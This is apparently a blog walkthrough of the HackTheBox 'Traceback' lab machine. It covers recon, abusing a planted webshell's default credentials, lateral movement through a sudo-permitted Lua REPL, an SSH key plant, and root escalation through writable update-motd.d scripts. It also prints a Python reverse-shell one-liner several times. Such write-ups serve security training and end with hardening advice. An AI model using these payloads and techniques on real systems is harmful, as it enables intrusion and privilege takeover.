Thumbnail: gravatar

HacktheBox 'Traceback' writeup

by on under writeups
14 minute read

‘Traceback’ HTB Writeup


Host Information

Hostname IP Address Operating System Difficulty Level
Traceback Linux Easy

Traceback HTB info card


view all writeups here


Writeup Contents


Initial Recon



nmap information

An initial full TCP nmap scan of the host was run with the following command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/0ps/HTB/traceback/scans/_full_tcp_nmap.txt" -oX "/0ps/HTB/traceback/scans/xml/_full_tcp_nmap.xml"

The following ports were revealed open on the target, followed by the full nmap script ouput below:

Port State Service Version
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29
# Nmap 7.80 scan initiated Mon Jul  6 11:01:08 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/traceback/scans/_full_tcp_nmap.txt -oX /0ps/HTB/traceback/scans/xml/_full_tcp_nmap.xml

Nmap scan report for
Host is up, received user-set (0.035s latency).
Scanned at 2020-07-06 11:01:08 CDT for 71s
Not shown: 65533 closed ports
Reason: 65533 resets
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbMNfxYPZGAdOf2OAbwXhXDi43/QOeh5OwK7Me/l15Bej9yfkZwuLhyslDCYIvi4fh/2ZxB0MecNYHM+Sf4xR/CqPgIjQ+NuyAPI/c9iXDDhzJ+HShRR5WIqsqBHwtsQFrcQXcfQFYlC+NFj5ro9wfl2+UvDO6srTUxl+GaaabePYm2u0mlmfwHqlaQaB8HOUb436IdavyTdvpW7LTz4qKASrCTPaawigDymMEQTRYXY4vSemIGMD1JbfpErh0mrFt0Hu12dmL6LrqNmUcbakxOXvZATisHU5TloxqH/p2iWJSwFi/g0YyR2JZnIB65fGTLjIhZsOohtSG7vrPk+cZ
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD2jCEklOC94CKIBj9Lguh3lmTWDFYq41QkI5AtFSx7x+8uOCGaFTqTwphwmfkwZTHL1pzOMoJTrGAN8T7LA2j0=
|   256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL4LOW9SgPQeTZubVmd+RsoO3fhSjRSWjps7UtHOc10p
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.2 (92%), Android 4.2.2 (Linux 3.4) (92%), Linux 2.6.32 (92%)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Uptime guess: 7.505 days (since Sun Jun 28 22:55:18 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
1   34.55 ms
2   34.66 ms

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Mon Jul  6 11:02:19 2020 -- 1 IP address (1 host up) scanned in 71.28 seconds


nmap scan observations

So we can see that the target is Linux, with an HTTP service open on the standard port 80, running Apache 2.4.29. Additionally SSH is running on the standard port 22, identifying as OpenSSH 7.6.p1. The versions of both Apache and SSH indicate that the target is likely the linux flavour Ubuntu Bionic or later - [reference]


HTTP enumeration

SSH is unlikely to provide an initial foothold without other information, so let’s start with eumerating HTTP. The robots.txt resource does not seem to exist, and nothing of interest seems to show on a nikto scan. Running a quick gobuster scan only seems to show an index page from the site that does not result in 403. We see the following when visiting the site’s main/index page:

HTTP index page on 'Traceback'

Fuzzing using a large list, and trying commmon webshell extensions, as well as words from the page itself does not seem to yield anything. However, searching the signature at the bottom of the index page yields a Github page when searching. Some looking shows a repository called web-shells:

We can git clone the repository and then use the list of repos to try to fuzz for a match, creating a list of potential filenames. Note in the below code, the argument to ls is a 1, not an “L”, to print the list of filenames without details:

initinfosec@kali:/0ps/HTB/traceback/scans$ ls -1 Web-Shells/ > shells.list
initinfosec@kali:/0ps/HTB/traceback/scans$ cat shells.list 

Using this list to fuzz (i’ll personally be using ‘ffuf’) we find a single hit:

initinfosec@kali:/0ps/HTB/traceback/scans$ ffuf -c -w shells.list -u  -recursion

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       


 :: Method           : GET
 :: URL              :
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403

smevk.php               [Status: 200, Size: 1261, Words: 318, Lines: 59]
:: Progress: [17/17] :: Job [1/1] :: 5 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

Going to this page at does indeed show a webshell:

webshell on 'Traceback'

Looking at the code on the github repository, it appears the default creds are admin/admin, as shown on

//Make your setting here.
$deface_url = '';  //deface url here(pastebin).
$UserName = "admin";                                      //Your UserName here.
$auth_pass = "admin";                                  //Your Password.
//Change Shell Theme here//
$color = "#8B008B";                                   //Fonts color modify here.
$Theme = '#8B008B';                                    //Change border-color accoriding to your choice.
$TabsColor = '#0E5061';                              //Change tabs color here.

Trying this shows the login was successful - we see a sort of dashboard to the webshell upon logging in, as shown below:

webshell login with default creds on 'traceback'


gaining an initial foothold

Using the ‘Execute’ textbox in the bottom left, and running a ‘which python’ and ‘which python3’ shows that python3 is installed.

We can attempt to use python3 to spawn a reverse shell. First we’ll start a netcat listener with sudo nc -lvnp 443. Once listening, we’ll use the following python command to try to call a reverse shell back to us. Keep in mind your IP and port may need to change based on need:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]);&'

Almost immediately, we receive a reverse shell as the ‘webadmin’ user, as shown below:

Initial shell as the web user for 'Traceback'


Lateral Movement

It looks like our iniital search for the user.txt file was not successful, indicating we need to laterally move to a more standard user.

Running sudo -l, we see that our user apparently does not require a password to run sudo as the user sysadmin for the /home/sysadmin/luvit file, as shown below:

webadmin@traceback:/var$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

Unfortunately we are somewhat blind here, and cannot view what the ‘luvit’ file is, or anything within the directory. While not advisiable in real-world engagements, we’ll go ahead and run the file as this is a sandboxed training ground. We see that running as sudo seems to show “welcome to the luvit repl”, dropping us into a shell-like prompt. Running a test command results in a syntax error, showing the language as lua.

webadmin@traceback:/var$ file /home/sysadmin/luvit
/home/sysadmin/luvit: cannot open `/home/sysadmin/luvit' (Permission denied)
webadmin@traceback:/var$ ls -ltra /home/sysadmin/luvit
ls: cannot access '/home/sysadmin/luvit': Permission denied
webadmin@traceback:/var$ ls -ltra /home/sysadmin
ls: cannot open directory '/home/sysadmin': Permission denied
webadmin@traceback:/var$ sudo -u sysadmin /home/sysadmin/luvit
Welcome to the Luvit repl!
> echo "test"
[string "REPL"]:1: attempt to call global 'echo' (a nil value)
stack traceback:
        [string "REPL"]:1: in main chunk
        [C]: in function 'xpcall'
        [string "bundle:deps/repl.lua"]:97: in function 'evaluateLine'
        [string "bundle:deps/repl.lua"]:189: in function <[string "bundle:deps/repl.lua"]:187>

Searching for lua on GTFObins shows a pretty trivial OS system command execution lua line which we can run to give ourselves a more standard shell. Running > os.execute("/bin/bash") does indeed spawn us into a more normal bash shell, as shown in the below screenshot:

shell as user 'sysadmin' on 'traceback'

In hindisght, we also see the following which would have pointed us to the lua script:

sysadmin@traceback:~$ cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.


Privilege Escalation


PrivEsc enumeration

Now we need to escalate privileges. We do not know sysadmins password, and running ‘sudo -l’ prompts for it. Additionally, no cron jobs are listed for the user.

However, running ps -ef | grep root to look at processes running as root shows one that almost immediately sticks out:

root       3287   3283  0 19:31 ?        00:00:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

So it looks like something is overwriting /etc/update-motd.d with a backup in /var/backups. If we could write to the source (the backups directory), we could potentially get execution, as the motd file(s) can be shell scripts. However, we quickly find that this directory is not writeable. We do notice though, that the destination directory, /etc/update-motd.d is in fact, writeable by our sysadmin user, as evidenced bu the below command:

sysadmin@traceback:~$ ls -ltra /etc/update-motd.d/
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  299 Jul  7 13:27 91-release-upgrade
-rwxrwxr-x  1 root sysadmin  604 Jul  7 13:27 80-esm
-rwxrwxr-x  1 root sysadmin 4264 Jul  7 13:27 50-motd-news
-rwxrwxr-x  1 root sysadmin  982 Jul  7 13:27 10-help-text
-rwxrwxr-x  1 root sysadmin  981 Jul  7 13:27 00-header

OK, so we know that we can write to the files, and if that is the route to privesc, that we’d have about a half-minute window to get the file to trigger before being overwritten. However, the question still remains, how would we get it to trigger as root, and not just a user on ssh login? Using a great tool to reveal automated processes called pspy, we can watch for processes that are automated by services, daemons, scripts, or cron jobs, which run as root, where we might not have direct visibility into the cron job or script itself running these proceesses while being a lower-level user. At first glance, nothing out of the oridinary not already seen seems to show up. We see the job to overwrite the original motd files with the backups occur every 30 seconds, but nothing that actually indicates triggering of the /etc/motd file as root on any kind of automated interval.

Further reading on update-motd.d resource here and motd itself resource here seem to imply that motd leverages the pam_otd module, implying that the motd display and execution is done by root, regardlesss of user.

Let’s test this, and find a way to log in as either webadmin or sysadmin successfully, while having pspy run, and seeing what shows up during/at login. Once pyspy is transferred to the host, set to executable, and started, let’s start another listener, and gain a new reverse shell by entering the same command as earlier into the webshell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]);&'

Once spawned, we notice after a brief bit of digging around, that webadmin’s .ssh directory, and specifically, the authorized_keys file under it, is writeable. Using this, we can create a keypair locally on kali, transfer the contents of the public key to the authorized keyfile, tell ssh to use the private key locally on kali to login as the webadmin user, and try to login. If this is successful, we’ll then check pspy.

To create the keypair, we’ll use ssh-keygen, and follow the prompts, running from the kali box, as shown below.

key generation for webadmin on 'traceback'

Once created, we can copy the contents of the public key, and copy it to the authorized_keys file. Once done, we can test a login via SSH providing the identify file, as shown below:

initinfosec@kali:/0ps/HTB/traceback/exploit$ ssh webadmin@ -i traceback
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -

Welcome to Xh4H land 

Last login: Thu Feb 27 06:29:02 2020 from
webadmin@traceback:~$ exit
Connection to closed

Great, so we know it was successful. Let’s check pspy now.

observing root processes on 'traceback' with pspy

We see here that a number of commands relating to motd were indeed executed as root, not the user logging in, /bin/sh /etc/update-motd.d/50-motd-news, for example.


gainining a root shell

Armed with this knowledge, we can confidentally setup privilege escalation now, keeping in mind our half-minute window for execution. Because of this tight timeline, let’s go ahead and start our nc listener now, with sudo nc -lvnp 443 (or whatever port you feel appropriate.)

Using vi, we can edit one of the files to added the same python reverse shell command we used earlier. In my case, I’ll use the 00-header file. Using vi, we can simply add the following to the bottom of the script file and save it.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]);'

Now, within 30 seconds, let’s login again with the key file as before, trying to trigger the modified script.

initinfosec@kali:/0ps/HTB/traceback/exploit$ ssh webadmin@ -i traceback
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -

We see the process hangs here, indicating our reverse shell likely spawned. Checking the new listener we started, it appears we indeed receive a root shell, as shown below.

root shell on 'traceback'




  • Regular web server security reviews/audits should take place to try and ensure lack of server compromise, or quick detection and response when a server is compromised.

  • Further to this end, a web application firewall (WAF) should be considered being implemented, or and IDS/IPS, in order to detect, alert, and/or potentially stop malicious activity by detecting unusual traffic and/or behavours that deviate from the normal baseline for the server.

  • Consideration and audit/review of sudo privileges should be undertaken. Perhaps consider allowing webadmin to run the lua script in the context of his own user, to prevent it being used for lateral movement across the server.

  • Permissions for the authorized keys file should be locked down/tightened if/as appropriate. Consider restricting this to root:root edit permissions only.

  • motd (and related update-motd.d files) should be audited as well, and the permissions tightened where possible, to prevent execution of commands as the root user by a lower-level user.



All for now; until next time.


hackthebox, HTB, writeups, walkthrough, hacking, pentest, OSCP prep
comments powered by Disqus